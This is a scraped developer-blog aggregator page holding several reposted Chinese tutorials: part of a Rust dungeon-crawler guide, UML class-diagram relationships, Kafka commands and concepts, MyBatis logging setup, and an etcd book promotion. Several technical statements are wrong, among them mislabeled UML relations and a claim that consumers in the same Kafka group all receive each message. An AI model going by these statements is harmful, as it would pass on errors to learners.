5
6
7
8
rust复制代码pub fn in_bounds(&self, point: Point) -> bool {
point.x >= 0 && point.x < SCREEN_WIDTH
&& point.y >= 0 && point.y < SCREEN_HEIGHT
}

pub fn can_enter_tile(&self, point: Point) -> bool {
self.in_bounds(point) && self.tiles[map_idx(point.x, point.y)] == TileType::Floor
}

有了 Map 和 Player,这就可以在 main.rs 上引用这两个模块:

1
2
3
4
5
6
7
8
9
10
11
12
rust复制代码use prelude::*;

mod map;
mod player;

mod prelude {
pub use bracket_lib::prelude::*;
pub const SCREEN_WIDTH: i32 = 80;
pub const SCREEN_HEIGHT: i32 = 50;
pub use crate::map::*;
pub use crate::player::*;
}

通过 mod 关键引用,同样的,借助 mod prelude 把引用的几个模块和 bracket_lib 放在一起。

同样的,我们创建 State,把 Map, Player 初始化,放入屏幕中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
rust复制代码struct State {
map: Map,
player: Player,
}

impl State {
fn new() -> Self {
Self {
map: Map::new(),
player: Player::new(Point::new(SCREEN_WIDTH / 2, SCREEN_HEIGHT / 2)),
}
}
}

impl GameState for State {
fn tick(&mut self, ctx: &mut BTerm) {
ctx.cls();
self.player.update(ctx, &self.map);
self.map.render(ctx);
self.player.render(ctx);
}
}

剩下的就是和小鸟 game 一样了:

1
2
3
4
5
6
7
8
css复制代码fn main() -> BError {
let context = BTermBuilder::simple80x50()
.with_title("叶梅树学习 Dungeon Crawler")
.with_fps_cap(30.0)
.build()?;

main_loop(context, State::new())
}

总结

结果就如同一开始的截图效果一致了,有了 Map 和 Player 接下来就好弄了。

今天主要是学习了 Module 开发,把代码分模块独立出去。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

UML类图(继承、实现、关联、依赖、组合、聚合),你还傻傻分

发表于 2021-10-23


「左耳朵梵高」 第11篇原创


写在最前面的话

声明:本文部分资料摘自维基百科,还有我多年工作的积累和总结。本文很适合作为一个工具,就当是一本UML说明书,请记得收藏哦,在需要用的时候方便查阅。

什么是UML

维基百科对UML的定义:

UML(Unified Modeling Language)是一种开放的方法,用于说明、可视化、构建和编写一个正在开发的、面向对象的、软件密集系统的制品的开放方法。UML展现了一系列最佳工程实践,这些最佳实践在对大规模,复杂系统进行建模方面,特别是在软件架构层次已经被验证有效。

这个语言由葛来迪·布区,伊瓦尔·雅各布森与詹姆士·兰宝于1994年至1995年间,在Rational Software公司中开发,于1996年,又进一步发展。UML集成了Booch,OMT和面向对象程序设计的概念,将这些方法融合为单一的,通用的,并且可以广泛使用的建模语言。UML打算成为可以对并发和分布式系统的标准建模语言。

UML并不是一个工业标准,但在Object Management Group的主持和资助下,UML正在逐渐成为工业标准。OMG之前曾经呼吁业界向其提供有关面向对象的理论及实现的方法,以便制作一个严谨的软件建模语言(Software Modeling Language)。有很多业界的领袖亦真诚地回应OMG,帮助它创建一个业界标准。

从维基百科的定义中,可以总结出几个关键点:

  • UML是一个软件建模语言。是一个事实上的工业标准;
  • UML用于提供面向对象设计的理论和实现方法;
  • UML提供了一系列最佳工程实践,在系统建模、软件架构设计层次十分有效。

进一步,我们可以总结出几个关键字:软件建模语言、工业标准、面向对象、系统建模、架构设计、最佳时间。

在UML系统开发中有三个主要的模型:

  • 「功能模型」 :从用户的角度展示系统的功能,包括用例图。
  • 「对象模型」 :采用对象,属性,操作,关联等概念展示系统的结构和基础,包括类图、对象图。
  • 「动态模型」 :展现系统的内部行为。包括序列图,活动图,状态图。

UML包含了一系列的图,最常用的有用例图、类图、时序图等。「本文只会涉及类图」 ,其它的图形将在以后的文章中进行介绍。

UML类图详解

  1. 类描述

「类」 在UML中通常以实线矩形框表示。矩形框中有若干分割线。分别表示类名、属性和方法。如下图所示:

  • 类名:图中最上面的矩形框中为类名。如果字体为斜体 ,表示为抽象类 。(图中的上面部分)
  • 属性:类名下边的区域。(图中的中间部分)
  • 方法:(图中的下面部分)

说明:属性和方法前面的“+”、“-”和“#”表示访问级别:

  • +:public
  • -:private
  • #:protected
  1. 接口描述

「接口」 的类图表述与类大致相同,不同的是接口名要添加 Interface 标识,且行为的可见性必须用 “+” 表示。如下图:

类和类之间的关系

类之间有六种关系:

  • 继承
  • 实现
  • 关联
  • 依赖
  • 组合
  • 聚合

  1. 继承(Inherit)

「继承」 是面向对象语言的三大特性(封装,继承,多态)之一。子类继承父类。


UML类图中继承关系使用空心三角形+实线表示。

  1. 实现(Implement)

「实现」 与继承类似,实现类继承接口中的方法。


UML类图中实现关系使用空心三角形+虚线表示。

  1. 关联

依赖关系通常表现为类的私有属性。

1
2
3
4
5
复制代码// 企鹅类
public class Penguin {
  // 天气类
  private Climate climate;
}

其UML类图表示如下:


UML类图中关联使用实线箭头表示。

  1. 依赖

「依赖」 关系体现为局部变量、方法的形参,或者对静态方法的调用。

1
2
3
4
5
复制代码public class Programmer {
  public void work(Computer computer){
    
  }
}


UML类图中依赖关系使用虚线箭头表示。

以下代码展示了依赖关系的三种具体代码实现:局部变量、方法的形参和对静态方法的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
复制代码public class Person{
  public void doSomething1(){
    Car car = new Car();//局部变量
    ...
  }
  
  public void doSomething2(Car car){//方法参数
    ...
  }
  
  public void doSomething3(){
    int price = Car.do();//静态方法调用
  }
}
  1. 组合

「组合」 是关联关系的一种,表示一种强的“拥有”关系。体现了严格的部分和整体的关系。部分和整体的生命周期一样。

1
2
3
4
5
6
复制代码public class Bird {
  private Wing wing;
  public Bird() {
    this.wing = new Wing();
  }
}


UML类图中组合关系使用实心菱形+实线表示。

  1. 聚合

「聚合」 是关联关系的一种,表示一种弱的“拥有”关系。

用Java代码表示大雁是群居动物,每只大雁都属于一个雁群,一个雁群可以有多只大雁。

天气凉了,树叶黄了。
。。。
一群大雁往南飞,一会排成“S”字,一会排成“B”字。
——《秋天》出自人教版小学语文一年级课文

1
2
3
复制代码public class WildGooseAggregate {
  private List<WildGoose> wideGooses;
}


UML类图中聚合关系使用空心菱形实线表示。

All in One的例子

前面介绍了类之间的6种关系。为了更好地理解这6种关系。下面使用一个完整的例子(汽车)。该示例中包含了这6种关系。


说明:

  • 车的类图结构为,表示车是一个抽象类;
  • 它有两个继承类:小汽车和自行车;它们之间的关系为「实现」 关系,使用带空心箭头的虚线表示;
  • 小汽车为与SUV之间也是「继承」 关系,它们之间的关系为泛化关系,使用带空心箭头的实线表示;
  • 小汽车与发动机之间是「组合」 关系,使用带实心箭头的实线表示;
  • 学生与班级之间是「聚合」 关系,使用带空心箭头的实线表示;
  • 学生与身份证之间为「关联」 关系,使用一根实线表示;
  • 学生上学需要用到自行车,与自行车是一种「依赖」 关系,使用带箭头的虚线表示;

每日一画:鸢尾花

每日一画:鸢尾花

我是左耳朵梵高,北理工毕业,现任某金融咨询公司首席架构师,曾在阿里巴巴中间件团队任职。沉浸软件行业十余年,相信技术能改变世界。译有《你真的会写代码吗?》

坚持输出技术干货,职场心得和读书感悟。欢迎关注公众号「左耳朵梵高」 ,和我一起持续学习,终生成长。


推荐阅读

  • 分享一个让我进入阿里中间件的个人项目
  • 《我是面试官》技术面试需要考察英语吗?
  • 《魔兽争霸》中的设计模式 - 工厂模式
  • 《我是面试官》设计模式-单例模式
  • 日志框架中需要判断log.isDebugEnabled吗?

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Kafka 常用操作命令 Kafka 常用操作命令 参考资料

发表于 2021-10-23

小知识,大挑战!本文正在参与「程序员必备小知识」创作活动

本文已参与 「掘力星计划」 ,赢取创作大礼包,挑战创作激励金。

Kafka 常用操作命令

操作命令

  • 查询系统的所有 Topic
1
2
3
4
5
6
7
8
shell复制代码# 获取所有的主题
./bin/kafka-topics.sh --list --zookeeper localhost:2181
# 或者
./bin/kafka-topics.sh --bootstrap-server localhost:9092 --list

# 结果
#__consumer_offsets
# myTopic
  • __consumer_offsets_x 是系统的主题,是判断消费者消费的偏移量,一同会有50 个分区映射到0-49
  • 一个主题会对应多个日志目录,每个文件夹对应着一个分区
  • 创建一个 Topic
1
2
shell复制代码# 创建一个myTopic 3个分区,且一个副本,并且注册中心为 localhost:2181
./bin/kafka-topics.sh --create --zookeeper localhost:2181 --topic yourTopic --replication-factor 1 --partitions 3
  • 查询 Topic 的详细信息
1
2
3
4
5
6
7
shell复制代码# 查询yourTopic主题的详细信息
./bin/kafka-topics.sh --describe --zookeeper localhost:2181 --topic yourTopic
# 返回结果
Topic: yourTopic PartitionCount: 3 ReplicationFactor: 1 Configs:
Topic: yourTopic Partition: 0 Leader: 0 Replicas: 0 Isr: 0
Topic: yourTopic Partition: 1 Leader: 0 Replicas: 0 Isr: 0
Topic: yourTopic Partition: 2 Leader: 0 Replicas: 0 Isr: 0
  • 查询 Topic 所有的分区信息
1
shell复制代码
  • 开启一个 Producer(生产者)
1
shell复制代码./bin/kafka-console-producer.sh --broker-list localhost:9092 --topic yourTopic
  • 创建一个 Consumer(消费者)
1
2
shell复制代码# --from-beginning 可以消费历史数据
./bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic yourTopic --from-beginning

Kafka主题

  • topic (主题) 相关的脚本
+ bin/kafka-topics.sh
+ 观察参数输出提示
    - --bootstrap-server 与 --zookeeper
  • 如果在发送消息时,所指定的主题并不存在,那么根据 Kafka 的配置,可能会有如下的两种情况发生。
+ Kafka Server 会报错,告诉发送者该主题不存在,需要先创建好主题后再发送消息。
+ Kafka Server 会自动创建所指定的主题,并将所发送的消息归类到所创建的这个主题下面。
  • 之所以会有如上两种区别,关键在于Kafka的配置文件中的一个参数项:
+ auto.create.topic.enable = true
  • 如果将该参数项指定为 true,那么在发送消息时,如果所指定的主题不存在,Kafka 就会帮我们自动创建该主题反之,则会报错。
  • __consumer_offsets 是Kafka Server 所创建的用于标识消费者偏移量的主题(Kafka 中的消息都是顺序保存在磁盘上的,通过 offset
    偏移量来标识消息的顺序),它由Kafka Server 内部使用
  • 如果想要查看某个具体主题(如yourTopic),执行如下命令即可
1
2
3
4
5
6
7
shell复制代码# 查询yourTopic主题的详细信息
./bin/kafka-topics.sh --describe --zookeeper localhost:2181 --topic yourTopic
# 返回结果
Topic: yourTopic PartitionCount: 3 ReplicationFactor: 1 Configs:
Topic: yourTopic Partition: 0 Leader: 0 Replicas: 0 Isr: 0
Topic: yourTopic Partition: 1 Leader: 0 Replicas: 0 Isr: 0
Topic: yourTopic Partition: 2 Leader: 0 Replicas: 0 Isr: 0
+ 第一行显示出所有的分区信息(yourTopic 主题的分区数是3 , 即在之前创建主题时所指定的 --partition 3 这个参数所确定的)的一个总结
信息;后续的每一行则给出一个分区的信息,如果只有一个分区,那么就只会显示出一行,正如上述输出那样。
+ 上述第一行表示信息为:


    - 主题名:yourTopic
    - 分区数:3
    - 副本数:1
+ 第二行信息表示为:


    - 主题名:yourTopic
    - 当前分区:0
    - Leader Broker: 0
    - 副本:0
    - isr (in-sync replica): 0
  • 还可以查看 Kafka Server 自己所创建的用于管理消息偏移量的主题:__consumer_offsets 的详细信息,执行如下命令
1
shell复制代码./bin/kafka-topics.sh --describe --topic __consumer_offsets --zookeeper localhost:2181
  • 执行结果可以看到,该主题有50个分区,副本数为1,同时也输出了相应的配置信息
  • 从第二行开始,列出了每个分区的信息,分区从0到49。由于我们这里使用了单台 Kafka Server ,因此可以卡进到每个分区的 Leader 都是0
    这表示每个分区的 Leader 都是同一台 Server,即我们所启动这台 Kafka Server .

Kafka 中的 Zookeeper

  • 那么,这些主题都是保存在 Zookeeper 中的, Kafka 是重度依赖Zookeeper 的, Zookeeper 保存了Kafka所需的元信息,以及关于主题、消息
    偏移量等诸多信息,下面我们就到 Zookeeper 中插件一下相关的内容。
  • 可以通过 Kafka 集成的 Zookeeper 客户端脚本来连接到 Zookeeper Server 上
+ ./zookeeper-shell.sh localhost:2181
  • Zookeeper 命令执行
+ ls /
+ ls2 /
+ 上述命令除了会列出 Zookeeper 根(/)下面的所有节点外,还会额外输出其他相关的信息(可以任务ls2 命令是ls 命令的增强,ls2 命令相当于
是 ls + stat 两个命令的集合体,而stat命令则是用于输出状态信息的。)
+ ls /config/topics
+ ls2 /config/topics
+ 该命令不仅输出了主题的名字,还输出了相关的统计信息,如创建时间、版本号等信息。
  • Zookeeper 的本质是一种树形结构,有一个跟节点/ 。它下面可以有若干个子节点,子节点下面还可以有子节点,每个子节点有自己的属性等信息,其
    结构如下图所示

zk_nodes.jpg

  • Zookeeper 是Kafka的得力助手,同时也是很多系统所依赖的底层协调框架。对于Zookeeper 来说,有很多图形化的客户端能以比较直观的方式列出
    各个节点的信息,不过这里还是建议大家先掌握Zookeeper 的命令行操作方式,以加深对其掌握和理解。

多消费者消费

  • 执行如下命令
1
shell复制代码./bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic myTopic
  • 接下来,启动两个 Kafka Consumer, 分别执行如下命令
1
shell复制代码./bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic myTopic --from-beginning
  • 在生产者发送消息
  • 通过这个操作过程,我们能够看看到多个 Kafka Consumer 可以消费同一个主题的同一条信息,这显然就是之前课程中所介绍的,广播的概念。
    即多个客户端是可以获取到通一个主题的同一条信息并惊醒消费的。
  • 下面,关闭这两个 Kafka Server (ctrl + c); 然后再分别在这两个控制台窗口中执行上述同样的命令。
  • 我们发现,消费者中会显示出 Kafka Server 中myTopic 主题下已经拥有的N条历史消息。
  • 现在我们再次关闭这两个窗口中 去除 –from-beginning 那么就不会接受到历史接受到的消息。
  • 通过这个过程,实际上我们就讲述了 –from-beginning 参数的作用,它的作用是:
+ 如果消费者尚没有已建立的可用于消费的**偏移量(offset)**,那么就从 Kafka Server 日期中最终开始消费的消息,而非最新消息开始消费。

消费者组

  • 我们停止以上的消费者然后执行如下命令
1
shell复制代码./bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic myTopic --group test
  • 如果我们在生产者输入”Hello World” 我们会观察到只会有一个消费者窗口收到消息,另外的消费者是无法收到消息的
  • 如果我们停掉其中一个消费者进程,那么另外一个消费者进程才能收到消息
  • 如果两个在不同的消费者组那么两个消费者进程都能收到消息

主题删除

  • 查询kafka 中已有的主题
1
2
3
4
5
6
shell复制代码./bin/kafka-topics.sh --list --zookeeper localhost:2181
# 返回
__consumer_offsets
myTopic
myTopic2
yourTopic
  • 删除一个主题
1
shell复制代码./bin/kafka-topics.sh --zookeeper localhost:2181 --delete --topic myTopic2
  • 该输出表示:主题 myTopic2 已经被标记为删除状态。同时还给出了一个提示信息,即如果没有配置项
    delete.topic.enable 设为true ,那么这个删除操作将不会起任何作用。
  • 该配置在 Kafka Server 的 config 目录下的 server.properties 配置文件中进行的配置的, Kafka Server 默认是没有这个配置的。
  • 如果这个时候我们再去主题列表中查询是查询不到的
1
shell复制代码./bin/kafka-topics.sh --zookeeper localhost:2181 --list
  • 查询详细信息会抛出异常,表示该主题不存在。(如果该主题没有被完全删除那么不会有任何输出也不会报错)
1
2
3
4
5
6
7
8
9
shell复制代码./bin/kafka-topics.sh --zookeeper localhost:2181 --describe --topic myTopic2
# 输出如下
Error while executing topic command : Topic 'myTopic2' does not exist as expected
[2020-02-06 13:28:08,201] ERROR java.lang.IllegalArgumentException: Topic 'myTopic2' does not exist as expected
at kafka.admin.TopicCommand$.kafka$admin$TopicCommand$$ensureTopicExists(TopicCommand.scala:484)
at kafka.admin.TopicCommand$ZookeeperTopicService.describeTopic(TopicCommand.scala:390)
at kafka.admin.TopicCommand$.main(TopicCommand.scala:67)
at kafka.admin.TopicCommand.main(TopicCommand.scala)
(kafka.admin.TopicCommand$)
  • 当主体被完全删除后,日志文件目录下的日志文件夹以及下面的所有文件都会被删除。
  • 从 Kafka Server 的输出日志上可以看到,Kafka Server 是先删除了主题相关的索引信息,然后删除日志信息,即数据文件
1
2
3
4
shell复制代码[2020-02-06 13:20:33,631] INFO Deleted log /Users/zhengsh/Desktop/kafka-logs/kafka-logs/myTopic-0.875b1d2b9a9141bab80d3c0d0a4dbecd-delete/00000000000000000000.log.deleted. (kafka.log.LogSegment)
[2020-02-06 13:20:33,645] INFO Deleted offset index /Users/zhengsh/Desktop/kafka-logs/kafka-logs/myTopic-0.875b1d2b9a9141bab80d3c0d0a4dbecd-delete/00000000000000000000.index.deleted. (kafka.log.LogSegment)
[2020-02-06 13:20:33,647] INFO Deleted time index /Users/zhengsh/Desktop/kafka-logs/kafka-logs/myTopic-0.875b1d2b9a9141bab80d3c0d0a4dbecd-delete/00000000000000000000.timeindex.deleted. (kafka.log.LogSegment)
[2020-02-06 13:20:33,673] INFO Deleted log for partition myTopic-0 in /Users/zhengsh/Desktop/kafka-logs/kafka-logs/myTopic-0.875b1d2b9a9141bab80d3c0d0a4dbecd-delete. (kafka.log.LogManager)
  • 在zookeeper 中查看主题相关的信息是否被删除
1
2
3
shell复制代码./bin/zookeeper-shell.sh localhost:2181

ls /config/topics
  • Kafka topic 删除的变化
    • 从 Kafka 1.0 开始,主题删除操作以及相关配置与之前的版本比较,发生了较大的变化。
    • 值得注意的是,在Kafka 1.0 之前的版本中,delete.topic.enable 属性默认为false , 若想删除主题,需要在server.properties 配置文件中显式
      增加 delete.topic.enable=true. 这个一个配置项。然而,在Kafka 1.0 中,该参数默认就是 true 因此,无需无需显式指定即可成功删除主题;
      如果不希望删除主题,那么就需要显式将 delete.topic.enable=false 添加到 server.properties 的配置文件中。
    • 另外,在Kafka 1.0 之前的版本中,如果删除了主题,那么被删除的主题名字会保存到 Zookeeper 的 /admin/delete_topics 节点中。虽然主题
      被删除了,但与主题相关的消息数据依然还会被保留,需要用户手动到相关的数据目录下自行删除,不过这一切在Kafka1.0 中都发生了变化,在 Kafka1.0
      中,当主题被删除后,与主题相关的数据也一并删除,并且是不可逆的。
  • 下面是Kafka 官方文档上的描述以得出的结论
    • Topic deletion is now enabled by default, since the functionality is now stable. Users who wish to retain the
    • previous behavior should set the broker config delete.topic.enable to false Keep in mind that topic deletion removes
    • data and the operation is not reversible (i.e there is no “undelete” operation)

参考资料

  • kafka.apache.org/

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Kafka 核心概念详解 Kafka 核心概念 参考资料

发表于 2021-10-23

小知识,大挑战!本文正在参与「程序员必备小知识」创作活动

本文已参与 「掘力星计划」 ,赢取创作大礼包,挑战创作激励金。

Kafka 核心概念

生产者 (Producer)

  • 生产者(Producer)顾名思义,生产者就是产生消息的组件,它的主要工作就是源源不断地生产出消息,然后发送给消息队列。
    生产者可以向消息队列发送各种类型的消息,如狭义的字符串消息,也可以发送二进制消息。生产者是消息队列的数据来源,只有通过生产者持续不断地
    向消息队列发送消息,消息队列才能不断地处理消息。

消费者(Consumer)

  • 消费者的概念也是比较容易理解的,所谓消费者,值得是不断消费(获取)消息的组件它获取消息的来源就是消息队列(即 Kafka 本身)。换句话说
    生产者不断地向消息队列发送消息,而消费者则不断地从消息队列中获取消息。这里面的消息队列(Kafka)则充当了一个中介的叫绝,连接了生产者与
    消费者这两大功能组件,正是从这个意义上来说,借助于消息队列,我们实现了生产系统与消费者系统之间的解耦,使得原本需要两个系统之间紧密联系的
    状况编程了两个系统各自针对Kafka进行编程(只需要提前约定好契约即可),这可以使得生产系统完全不需要了解消费者系统的各种信息
    (比如说消费者系统的地址、端口号、URL、使用的是 REST 接口还是 RPC 接口等等;反之亦然)。这正是消息队列所提供的一种绝佳的好处,极大降低了
    系统之间的耦合关系。

代理(Broker)

  • 代理这个概念就是消息队列领域中的一个常见的概念。Broker 这个单词原本就是经纪人,比如说房产经纪人、股票经纪人等。 在消息队列领域中,它
    指的其实就是消息队列产品本省,比如说在Kafka这个领域下,Broker 其实就是指的就是一个 Kafka Server. 换句话说,我们可以部署一台 Kafka Server
    看作是一个Broker, 就是这样简单。那么从流程上来说,生产者就会将消息发送给 Broker, 然后消费者再从 Broker 中拉取消息。

主题(Topic)

  • 主题是 Kafka 中一个极为重要的概念,首先,主题是一个逻辑上的概念,它用于逻辑上来归类于存储消息本省。多个生产者可以向一个 Topic 发送消息,
    同时也可以有多个消费者消费一个 Topic 中的消息。Topic 还有分区与副本的概念, Topic 与消息两个概念之间的密切关系, Kafka 中的每天一条消息
    都会归属于一个Topic,而一个 Topic 下面可以有任意数量的消息。正是借助于 Topic 这个逻辑上的概念, Kafka 将各种各样的消息进行了分门别类
    ,使得不同的消息归属于不同的 Topic , 这样就额可以很好地实现不同系统的生产者可以向同一个Broker中拉取消息。Topic 是一个字符串。

消息(Record)

  • 消息是整个队列中最为基础的一个概念,也是最为原子的一个概念,它指的是生产者发送与消息拉取的一个原子事务,一个消息需要关联到一个 Topic 上
    表示该消息从属于那个 Topic . 下次由一串字节所构成,其中主要是由key 和 value 两部分组成。key 与 value 本质上都是字节数组。在发送消息时,
    我们可以省略key 部分,直接使用value 部分。实际上,他们都是消息的value, 即消息真正的内容本身;key 的主要作用是更具一定的策略,将此
    消息发送到指定的分区中,这样就就可以确保包含同一key 值得消息全部都写入到同一个分区中,因此,我们可以得出这样一个结论:对于 Kafka 的消息来说,
    真正的消息内容本身是由 value 所承载的。为了提升发送消息的效率和存储效率,生产者会批量将消息发送给 Broker ,并更相应的压缩算法在发生前
    堆消息进行压缩。

集群(Cluster)

  • 集群指的是由多个 Broker 所共同构成的一个整体,对外提供统一的服务,这类于我们在部署系统时都会采用集群的方式来进行。借助于集群的方式。
    Kafka 消息队列系统可以实现高可用和容错性,即一台 Borker 挂掉了也不影响真个消息系统的正确运行。集群中的各个 Borker是通过心跳
    (Hearbeat)的方式来检测其他机器是否还存活。

控制器 (Controller)

  • 控制器是集群中的概念。每个集群中会选择出一个 Broker 担任控制器的角色,控制器是 Kafka 集群的中心。 一个 Kafka 集群中,控制器这台
    Borker 之外的其他 Borker 会更具控制器的指挥来实现相应的功能。控制器负责管理 Kafka 分区的状态、管理每个分区的副本状态、监听Zookeeper
    中数据的变化并作出相应的反馈等你功能。此外,控制器也类似于主从概念(比如MySQL的主从概念),所有的Borker 都会监听控制器 Leader 的状态,
    当 Leader 控制器出现问题或是故障时则重新选择新的控制器 Leader, 这里面设计到一个选举算法的问题

消费者组(group name)

  • 消费者组与消费者之间关系密切,在Kafka中,多个消费者可以功能构建成一个消费者组,而一个消费者只能从属于一个消费者组。消费者组最为重要的一个
    功能就是拓展单播和广播的功能。一个消费者组可以确保其所订阅的Topic的每个分区也只能被从属于该消费组中的唯一一个消费者所消费;如果不同的消费
    者组订阅了同一个Topic, 那么这些消费者组之间是彼此独立的,不会受到相互的干扰。因此,如果我们希望一条消息可以被多个消费者所消费, 那就可以将
    这些消费者放置到同一个消费者组中,这实际上就是单播的效果,因此,我们可以将消费者组看作是【逻辑上的订阅者】,而物理上的订阅者则是各个消费
    者。值得注意的是消费者组是一个非常主要的概念。很多Kafka初学者都会遇到这样一个问题:将系统以集群的形式部署(比如说部署到3台机器或者虚拟机上),
    媒体爱机器的指定代码都是完全一样的, 那么在运行时,只会有一台机器会持续不断的收到 Broker 中的消息,而其他机器则一条消息也收不到。究其本质
    系统部署时采用了集群部署。因此每一台机器的代码与配置完全一样的。这样,这些机器(消费者)都从属于同一个消费组,既然从属于一个消费组那么,
    指挥有一个消费者接收到消息,而其他的消费者则完全接收不到任何消息,即单播的效果。这点需要注意。

参考资料

  • kafka.apache.org/

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

MyBatis 中的日志配置详解 参考资料

发表于 2021-10-23

小知识,大挑战!本文正在参与“程序员必备小知识”创作活动。

日志

  • MyBatis 的内置工厂提供日志功能,内置日志工厂交给一下其中一种工具做代理:
    • SLF4J
    • Apache Commons Logging
    • Log4j2
    • Log4j2
    • JDK Logging
  • MyBatis 内置工厂基于运行时自省机制选择合适的日志工具。它会使用第一个查找得到的工具(按照上文的熟悉怒查找)。如果一个都未找到,日志功能将被禁用。
  • 日志配置如下,在MyBaits 的主配置文件中
1
2
3
4
5
xml复制代码<configuration>
<settings>
<setting name="logImpl" value="SLF4J"/>
</settings>
</configuration>
  • logImpl 可选的值有:SLF4J,LOG4J,LOG4J2,JDK_LOGGING,COMMONS_LOGGING,STDOUT_LOGGING ,NO_LOGGING 或者是实现了 org.apache.ibatis.logging.Log的, 并且构造方法是以字符串为参数的类的完全限定名。
  • 也可以使用如下方法来使用日志工具:
1
2
3
4
5
java复制代码org.apache.ibatis.logging.LogFactory.useSlf4jLogging();
org.apache.ibatis.logging.LogFactory.useLog4JLogging();
org.apache.ibatis.logging.LogFactory.useJdkLogging();
org.apache.ibatis.logging.LogFactory.useCommonsLogging();
org.apache.ibatis.logging.LogFactory.useStdOutLogging();
  • 如果使用了以上的任意一种方法,请在调用其他 MyBatis 方法之前调用它,另外仅当运行时路径中存在日志工具时,,改用日志工具的对应方法才会生效。

日志配置

  • 配置 SL4J( SL4J 采用LOG4J2 作为日志实现) 的方式作为 MyBatis 的日志代理工具,Maven 实现。
  • 步骤一: 添加依赖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
xml复制代码<!--slf4j依赖-->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
</dependency>

<!--log4j2依赖-->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
</dependency>
<!-- 桥接:告诉Slf4j使用Log4j2 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
</dependency>
  • 步骤二: 配置 LOG4J2
    • 在应用中创建一个名称为log4j2.xml文件具体内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
xml复制代码<?xml version="1.0" encoding="UTF-8"?>
<configuration status="WARN" monitorInterval="30">
<appenders>
<console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
</console>
</appenders>
<loggers>
<logger name="cn.edu.cqvie.mapper" level="DEBUG"></logger>
<root level="info">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
  • 以上配置会把org.mybatis包中所有的日志打印出来(也会打印执行过程中的SQL)
  • 如果我们想更细粒度的控制,可以设置为如下方式
1
xml复制代码<logger name="cn.edu.cqvie.mapper.BlogMapper.findAll" level="DEBUG"></logger>

参考资料

  • mybatis.com

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

etcd 工作笔记 我的新书出版啦

发表于 2021-10-23

互联网应用经历了从早期单一架构到垂直架构,再到分布式架构的技术发展过程。在业务体系不断发展变化,用户体量和性能要求远非传统行业所能比拟的当下,越来越多的公司跨入了分布式、云原生架构的行列,分布式架构成为主流趋势。

但分布式架构系统面临着一些与生俱来的问题,比如部署复杂、响应时间长、运维复杂等,其中最根本的是多个节点之间的数据共享问题。面对这些问题,你可以选择自己实现一个可靠的共享存储来同步信息,或者是依赖一个可靠的共享存储服务。

至于可靠的共享存储服务,etcd是一个优秀的可选项。etcd是一款分布式存储中间件,使用Go语言编写,并通过raft一致性算法处理和确保分布式一致性,解决了分布式系统中数据一致性的问题。

此外,由于etcd中涉及了数据一致性、多版本并发控制、Watch监控、磁盘I/O读写等知识点,深入学习etcd可以帮助我们从开源项目中学习底层原理,进一步提高分布式架构设计的能力。

除了分布式架构中的应用,etcd 还是目前非常热门的云原生存储组件,它自2018年底作为孵化项目加入CNCF(云原生计算基金会),并于2020年11月成功“毕业”。

etcd 作为云原生架构中重要的基础组件,各个微服务之间通过etcd保证调用的可用性和正确性。其他许多知名项目(包括Kubernetes、CoreDNS和TiKV等)也都依赖etcd来实现可靠的分布式数据存储,它的成功可见一斑。

掌握云原生存储的基石组件,这里就不得不推荐一本我最近刚刚出版的,关于 etcd 原理与实战的图书《etcd工作笔记:架构分析、优化与最佳实践》。我将自己多年的 etcd 相关的工作经验进行总结,编写而成。

image.png

如果你对分布式系统的实现原理,对分布式组件的实现细节不清楚。这本书可以很好的填补分布式系统设计的空白和进一步拓展你的思维方向。

image.png

这本书写了啥?

通过etcd学习分布式组件的“道”,掌握学习之道会在后续的自我提升中发挥长期价值。无论在将来的面试还是开发中,切中分布式系统开发的要点,并将原理和应用结合起来,才能充分体现个人的核心竞争力。

这本书围绕etcd组件,从基础知识点到底层原理全面深入地展开介绍,最后结合了实践的案例。 主要包含如下的三个模块。

(1)基础概念与操作篇

首先浅谈云原生架构背景,分布式系统中如何保证一致性;接着介绍etcd是一款什么样的组件、etcd相关的特性、应用场景、部署的方式,还包括了客户端命令行工具的使用以及etcd通信加密TLS。初步了解etcd的这些基本使用以及核心API,为后面的学习打下基础。

(2)etcd实现原理与关键技术篇

介绍etcd的工作方式与内部实现原理,并重点介绍etcd的etcd-raft模块、WAL日志与快照备份、多版本控制MVCC、backend存储、事务实现、Watch和Lease机制等,最后梳理etcd Server的启动流程,以及如何处理客户端请求。通过这一模块的学习,可以帮助我们从原理层面深入了解etcd的工作机制以及整体架构,同时将有助于后续二次开发或者排查遇到的问题。

(3)实践案例篇

在掌握了etcd相关知识点的情况下,在应用实践部分将会带你学习etcd clientv3的具体应用,包括如何基于etcd实现分布式锁应用,以及如何在微服务中集成 etcd 作为服务注册与发现中心;最后我们会分析在 Kubernetes 中如何基于 etcd 完成容器的调度。

image.png

这本书的作者

朱荣鑫,微服务方面技术专家,曾就职于外企和大型互联网公司。对云原生、大型分布式系统有多年深入的实践经验。出版图书《Go 语言微服务高并发实战》,线上专栏课程《etcd原理与实战》。

刘峰,博士,任职于南京大学,长期从事分布式系统,计算机网络方面的研究,主持和参与多项国家纵向和横向课题,于阿里云等公司进行了多项分布式系统相关的产研合作。

福利

既然你已经看到这里了,为了回馈关注的读者,在文末准备送 3 本《etcd工作笔记:架构分析、优化与最佳实践》书籍。

